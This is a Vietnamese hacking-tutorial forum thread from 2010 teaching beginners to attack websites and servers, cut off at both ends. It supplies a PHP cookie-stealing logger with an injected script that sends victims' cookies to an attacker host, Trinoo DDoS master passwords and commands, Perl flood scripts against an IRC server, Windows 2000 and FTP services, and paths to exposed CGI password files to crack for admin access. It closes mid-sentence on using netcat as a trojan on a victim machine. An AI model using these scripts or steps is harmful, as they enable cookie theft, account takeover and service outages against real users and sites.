Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ
trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại
những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1
forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các
thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các
thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông
tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng
nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ
đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để
nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy
và bị giới hạn trong khoảng 4k.


Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

Re: Những hiểu biết cơ bản nhất để trở thành Hacker

Post  Admin on Tue Dec 28, 2010 8:54 am

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define ("LINE", "\r\n");
define ("HTML_LINE", "");
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date("Y-m-d H:i:s");
// init
$myData = "[-----$now-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "");
// file
$file = $REMOTE_ADDR . ".txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>


hoặc

CODE
<?php
if ($contents && $header){
mail("victim@yahoo.com" , "from mail script",$contents,$header) or
die('couldnt email it');
sleep(2);
?>
<script language=javascript>

</script>
<?php
} else {
echo "nope";
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn >.php ” ( Nhớ là
phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi
là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ?
) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie )
của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save
thông tin đó thành file < ip của nạn nhân >.txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng
chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write('<img src=http://host_php/abc.php?abc='+escape(document

Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

Re: Những hiểu biết cơ bản nhất để trở thành Hacker

Post  Admin on Tue Dec 28, 2010 8:54 am

41 . ) Tấn công DDoS thông qua Trinoo :

_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng
Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn
cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu.
Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn
đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết
passwd thì mới có thể điều khiển được chúng , điều này không có gì khó
khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường
được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----->
Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập
vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập
đúng thì nó sẽ tự động chạy trên nền của hệ thống .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> < == bạn đã vào được hệ thống trinoo

_ Đây là vài passwd mặc định :

“l44adsl": pass của trinoo daemon .
"gorave": passwd của trinoo master server khi startup .
"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .
"killme": passwd trinoo master điều khiển lệnh "mdie" .

_ Đây là một số lệnh dùng để điều khiển Master Server:


CODE
die------------------------------------------------------------Shutdown.
quit------------------------------------------------------------Log off.
mtimer N----------------------------------------------------Đặt thờI gian để tấn công
DoS , vớI N nhận giá trị từ 1--> 1999 giây .
dos IP-------------------------------------------------------Tấn công đến một địa chỉ
IP xác định .
mdie pass---------------------------------------------------Vô hiệu hoá tất cả các
Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl")
Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này

mping--------------------------------------------------------Gửi một lệnh ping tới ("png
l44adsl") c¸c Broadcast.
mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz l44adsl
123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin về
Trinoo .
msize----------------------------------------------------------Đặt kích thước đệm cho
những gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị của
Host mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast sao
lưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cả
các Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấn
công DOS .


_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:

CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP
đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã
xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ
1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho
các cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới
dánh sách Master Server đã được biên dịch trong chương trình trên cổng
31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master
Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass--------------------------------------------------------Shutdown Trinoo.
rsz N------------------------------------------------------------Là kích thước của bộ
đệm được dùng để tấn công , nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu
cùng lúc .
42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như
bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port
6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy
nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là
một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên
cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):

CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # Đây là NOP
$number = "65000"; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf = "$data";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó crash.\n -s
server_ip\n\n");}


Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương
trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra
theo lệnh sau :

C:\>perl < đường dẫn đến file *.pl >

( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó
lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được
dễ dàng thôi )

43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :

_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng
dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :


CODE
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;
print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- ";
$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $! ");

($o{'s'}&&$o{'d'})||die
" Use: $0 [IP Options] [UDP Options] ",
"IP Options: ",
" -s* Đia chi nguon đe bat chuoc ",
" -d* Đia chi bi tan cong ",
" -v IP Version (def: $v) ",
" -t IP Type of Service (TOS) (def: $t) ",
" -f IP fragementation offset (def: $f) ",
" -T IP Time to Live (TTL) (def: $T) ",
"UDP Options: ",
" -p cong cua may tinh nan nhan (def: $p) ",
" -l chieu dai cua goi tin (def: $l) ",
" -r cai đat du lieu ngau nhien (def: ".") ",
"Generic: ",
" -n So luong goi tin ta muon gui đi (def: $n) ",
" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he",
" Bai huong dan cua ANHDENDAY . ";

while($n > 0){
$|=1;print".";$sp=int rand 65535;
$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{'s'},
daddr=>$o{'d'}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish! ";


_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ
dùng cho Win2000 nhé .

44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :

_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó
chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã
sau vào file abc.pl :

CODE
#!/usr/bin/perl

use IO::Socket;

sub initiate {
if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username> <password>\nVi du : perl
abc.pl 127.0.0.1 21 anonymous me@\n";}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};

sub connecttoserver {
print("Connect den host: $host\n");
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "khong the connect den $host";

print "Connect thanh cong . Loggin vao...\n";
};

sub login {
print "user $user\n";
print $socket "user $user\r\n";
$response = <$socket>
print "$response\n";

print "pass $pass\n";
print $socket "pass $pass\r\n";
$response = <$socket>
print "$response\n";

print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.\n";
};

sub doit {
for (;; ){
print "retr a:/x\n";
print $socket "retr a:/x\r\n";
$response = <$socket>
print "$response";
}
}

initiate();
connecttoserver();
login();
doit();


_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã
này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó
sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" . Khi muốn
kết thúc bạn chỉ cần nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD
:

perl abc.pl http://www.xxx.com/ anonymous me

trong đó User name và Password có thể là bất kỳ .

Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ?
Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng
thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho
các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để
dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi
xin dừng phần DoS tại đây .

45 . ) Tự tạo cho mình một proxy để sài :

_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị
firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình
một cái proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy
khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong
bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass
mặc định mà nó cho bạn .
_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng
chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó
bạn nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn
hãy nhấn vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript ==>CGIproxy==>Next==>accept==> cho đến
khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin
vào các trang đó :
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com
.
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn
finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi
nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .

46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script :

a . ) Calendar CGI Script :

_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó
nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator
username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể
tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ
việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :

http://www.xxx.com/cgi-bin/calendar/calendar.cfg

sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :

http://www.xxx.com/cgi-bin/calen..._admin.pl?admin

_ Vậy là bạn đã có được quyền admin rồi đó .

b . ) WebBBS Script :

_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân
phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể
sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts
mới , xoá accounts view sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :

http://www.xxx.com/cgi-bin/advert/adpassword.txt

sau khi giải mã bạn logging vào:

http://www.xxx.com/cgi-bin/advert/ads_admin.pl

để login như là script administrator .

c . ) WWWBoard Script :

_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó
bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .

d . ) Mailmachine Script :

_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file adressed.txt
chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại
những urls sau:

http://www.xxx.com/cgi-bin/mailman/addresses.txt
http://www.xxx.com/cgi-bin/maillist/addresses.txt
http://www.xxx.com/cgi-bin/mail/addresses.txt

bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác .
Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .

Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc
lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) .

======================================================

Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post
lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước
những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là đoạn code
không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của tôi , các bạn
chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú
thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ <
== ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix
nhé .
47 . ) Các công cụ cần thiết để hack Web :

_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công
cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng
trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề”
thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn
sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân
được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên
máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi
cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé )
.
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối
với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương
trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account
đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các
exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng
hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn
không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai
đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet
(Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ
bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên
mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem
những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver ,
pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử
dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ
thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP
được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản
trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt
vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện
được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website
gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file
có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website
thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao
thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng
chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation
tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi
dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi
thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các
exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các
lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows
NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ
chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các
bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản
trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các
bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì
cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .

48 . ) Hướng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn
hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết
một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại
biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe.
Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế
độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi
ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7,
Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet
đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn
gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng
netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến
telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080
nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy
dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500)
của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng
tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e
<tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1
